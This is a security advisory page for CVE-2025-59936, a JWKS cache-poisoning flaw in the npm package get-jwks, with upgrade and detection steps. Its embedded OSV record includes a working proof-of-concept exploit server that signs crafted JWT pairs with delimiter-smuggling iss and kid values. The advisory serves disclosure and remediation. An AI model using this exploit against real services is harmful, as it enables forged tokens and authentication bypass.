CVE-2025-59936: get-jwks Poisoned JWKS Cache Allows Post-fetch Vulnerability
CRITICALCVE-2025-59936 is a CRITICAL (CVSS 9.4) poisoned jwks cache allows post-fetch vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting get-jwks libraries in the npm ecosystem. The issue involves poisoned jwks cache allows post-fetch issuer validation bypass. Remediation is available by upgrading affected packages to version 11.0.2.
CVE-2025-59936 at a Glance
Security Impact
CVSS: 9.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2025-59936
To remediate this vulnerability, upgrade all affected get-jwks dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install get-jwks@11.0.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls get-jwks
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-59936, inspect your project dependencies using npm:
npm ls get-jwks
Analyze the terminal output to locate any version of get-jwks in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.0.2), your application is affected.
Note: The npm ls get-jwks command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In get-jwks, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-59936 Affected get-jwks Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
get-jwks
|
npm |
< 11.0.2
|
11.0.2
|
References
Frequently Asked Questions
What is CVE-2025-59936?
Which get-jwks versions are affected?
What version fixes CVE-2025-59936?
Is get-jwks affected?
What is the CVSS score of CVE-2025-59936?
What CWE is associated with CVE-2025-59936?
How can I check npm dependencies for CVE-2025-59936?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qc2q-qhf3-235m",
"modified" : "2025-09-29T14:03:51Z",
"published" : "2025-09-26T14:27:01Z",
"aliases" : [ "CVE-2025-59936" ],
"summary" : "get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass",
"details" : "### Summary\nA vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. \n\n### Details\nWhen the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value.\n\nThe vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. \n\n### PoC\nServer code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =>\n jwks.getPublicKey({\n kid: jwt.header.kid,\n alg: jwt.header.alg,\n domain: jwt.payload.iss\n });\n\nconst jwtVerifier = createVerifier({\n key: keyFetcher,\n allowedIss: 'https://example.com',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\nasync function verifyToken(req, res, next) {\n const headerAuth = req.headers.authorization.split(' ')\n let token = '';\n if (headerAuth.length > 1) {\n token = headerAuth[1];\n }\n\n const payload = await jwtVerifier(token);\n\n req.decoded = payload;\n next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) => {\n res.json(req.decoded);\n});\n\napp.listen(port, () => {\n console.log(`Server is running on port ${port}`);\n});\n```\n\nExploit server that generates the JWT pair and send the public RSA key to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}`;\nconst target_iss = `https://example.com`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\",\n { modulusLength: 4096,\n publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n },\n);\nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create cache poisoning token\napp.post('/create-token-1', (req, res) => {\n const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`, }, privateKey, { \n algorithm: 'RS256', \n header: {\n kid: \"testkid\", \n } });\n res.send(token);\n});\n\n// Endpoint to create a token with valid iss\napp.post('/create-token-2', (req, res) => {\n const token = jwt.sign({ ...req.body, iss: target_iss , }, privateKey, { algorithm: 'RS256', header: {\n kid: `testkid:${host}/?`, \n } });\n res.send(token);\n });\n\napp.get('/.well-known/jwks.json', (req, res) => {\n return res.json({\n keys: [{\n ...jwk,\n kid: 'testkid',\n alg: 'RS256',\n use: 'sig',\n }]\n });\n})\n\napp.use((req, res) => {\n return res.json({\n \"issuer\": host,\n \"jwks_uri\": host + '/.well-known/jwks.json'\n });\n});\n\napp.listen(port, () => {\n console.log(`Server is running on port ${port}`);\n});\n``` \n\nThe first JWT token will create a cache entry with the chosen public key and have the following format:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\nThe second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\n### Impact\nApplications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. \n\n### Solution\nEscape each component used in the cache key, so delimiter collisions are impossible.\n\nhttps://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "get-jwks"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "11.0.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 11.0.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59936"
}, {
"type" : "WEB",
"url" : "https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nearform/get-jwks"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-116" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-26T14:27:01Z",
"nvd_published_at" : "2025-09-27T01:15:43Z"
}
}